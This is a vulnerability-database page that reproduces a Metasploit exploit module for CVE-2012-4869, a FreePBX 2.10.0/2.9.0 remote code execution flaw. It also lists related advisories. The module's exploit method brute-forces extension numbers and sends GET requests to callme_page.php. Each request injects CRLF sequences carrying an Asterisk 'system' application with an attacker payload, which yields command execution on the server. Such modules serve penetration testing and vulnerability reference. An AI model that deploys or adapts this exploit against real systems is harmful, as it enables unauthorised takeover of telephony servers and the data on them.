Lucene search
+L

FreePBX 2.10.0 / 2.9.0 callmenum Remote Code Execution

🗓️ 20 Mar 2012 00:00:00Reported by muts, Martin TschirsichType 
metasploit
 metasploit
🔗 www.rapid7.com👁 83 Views

FreePBX 2.10.0 / 2.9.0 callmenum Remote Code Execution vulnerability exploi

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2012-4869
6 Sep 201200:00
attackerkb
circl
Circl
CVE-2012-4869
22 Mar 201200:00
circl
checkpoint_advisories
Check Point Advisories
FreePBX callmenum Remote Code Execution (CVE-2012-4869)
27 Nov 201600:00
checkpoint_advisories
cve
CVE
CVE-2012-4869
6 Sep 201217:00
cve
cvelist
Cvelist
CVE-2012-4869
6 Sep 201217:00
cvelist
exploitdb
Exploit DB
FreePBX 2.9.0/2.10.0 - Multiple Vulnerabilities
22 Mar 201200:00
exploitdb
exploitdb
Exploit DB
FreePBX 2.10.0 / Elastix 2.2.0 - Remote Code Execution
23 Mar 201200:00
exploitdb
exploitdb
Exploit DB
FreePBX 2.9.0/2.10.0 - 'callmenum' Remote Code Execution (Metasploit)
24 Mar 201200:00
exploitdb
kitploit
Kitploit
Elastix-2.2.0-CVE-2012-4869
26 Aug 202621:33
kitploit
nvd
NVD
CVE-2012-4869
6 Sep 201217:55
nvd
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'FreePBX 2.10.0 / 2.9.0 callmenum Remote Code Execution',
        'Description' => %q{
          This module exploits FreePBX version 2.10.0,2.9.0 and possibly older.
          Due to the way callme_page.php handles the 'callmenum' parameter, it
          is possible to inject code to the '$channel' variable in function
          callme_startcall in order to gain remote code execution.

          Please note in order to use this module properly, you must know the
          extension number, which can be enumerated or bruteforced, or you may
          try some of the default extensions such as 0 or 200.  Also, the call
          has to be answered (or go to voice).

          Tested on both Elastix and FreePBX ISO image installs.
        },
        'Author' => [ 'muts', 'Martin Tschirsich' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2012-4869' ],
          [ 'OSVDB', '80544' ],
          [ 'EDB', '18649' ]
        ],
        'Platform' => ['unix'],
        'Arch' => ARCH_CMD,
        'Privileged' => false,
        'Payload' => {
          'Space' => 1024,
          'DisableNops' => true,
        },
        'Targets' => [
          [ 'Automatic Target', {}]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2012-03-20',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new("EXTENSION", [ true, "A range of Local extension numbers", "0-100" ]),
      ]
    )
  end

  def exploit
    # Check range input
    if datastore['EXTENSION'] =~ /^(\d+)\-(\d+)$/
      min = $1.to_i
      max = $2.to_i
    else
      print_error("Please specify a range for option 'EXTENSION'")
      return
    end

    cmd = Rex::Text.uri_encode(payload.encoded)

    (min..max).each do |e|
      connect
      print_status("#{Rex::Socket.to_authority(rhost, rport)} - Sending evil request with range #{e.to_s}")
      res = send_request_raw({
        'method' => 'GET',
        'uri' => "/recordings/misc/callme_page.php?action=c&callmenum=" + e.to_s + "@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20#{cmd}%0D%0A%0D%0A",
        'version' => '1.0',
        'vhost' => rhost
      })
      handler
      disconnect
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Mar 2012 00:00Current
6.3Medium risk
Vulners AI Score6.3
CVSS 27.5
EPSS0.70252
83